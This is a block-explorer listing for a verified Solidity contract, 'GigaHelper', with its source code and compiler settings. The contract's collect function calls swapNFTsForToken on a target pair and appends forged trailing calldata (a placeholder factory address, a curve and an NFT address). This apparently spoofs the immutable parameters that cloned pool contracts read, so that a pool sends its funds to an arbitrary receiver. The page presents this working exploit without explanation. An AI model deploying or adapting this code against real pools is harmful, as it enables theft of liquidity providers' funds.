Skip to content
Verified contractExactMIT

GigaHelper

Address0xa80f508cbade969eb71ad96e54bd6922e8cbc57e
Balance

0 ETH

 

Transactions

1

 

Compiler

solc 0.8.20

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.20+commit.a1b79de6
Language
solidity
Optimization
No
License
MIT
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
25,057,338
Creation transaction
0x64dd88083d…d7f53e4a8e

GigaHelper.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GigaHelper {
    function collect(
        address pair,
        address curve,
        address nft,
        address payable receiver
    ) external {
        bytes memory extra = abi.encodePacked(
            address(0x0000000000000000000000000000000000000001),
            curve,
            nft,
            uint8(0)
        );

        uint256[] memory ids = new uint256[](1);
        ids[0] = 1;

        bytes memory main = abi.encodeWithSignature(
            "swapNFTsForToken(uint256[],uint256,address,bool,address)",
            ids,
            uint256(0),
            receiver,
            false,
            address(0)
        );

        bytes memory full = bytes.concat(main, extra);
        (bool ok, bytes memory why) = pair.call(full);
        require(ok, string(why));
    }

    receive() external payable {}
}
Compiler settingsShow
{
  "libraries": {},
  "optimizer": {
    "runs": 200,
    "enabled": false
  }
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.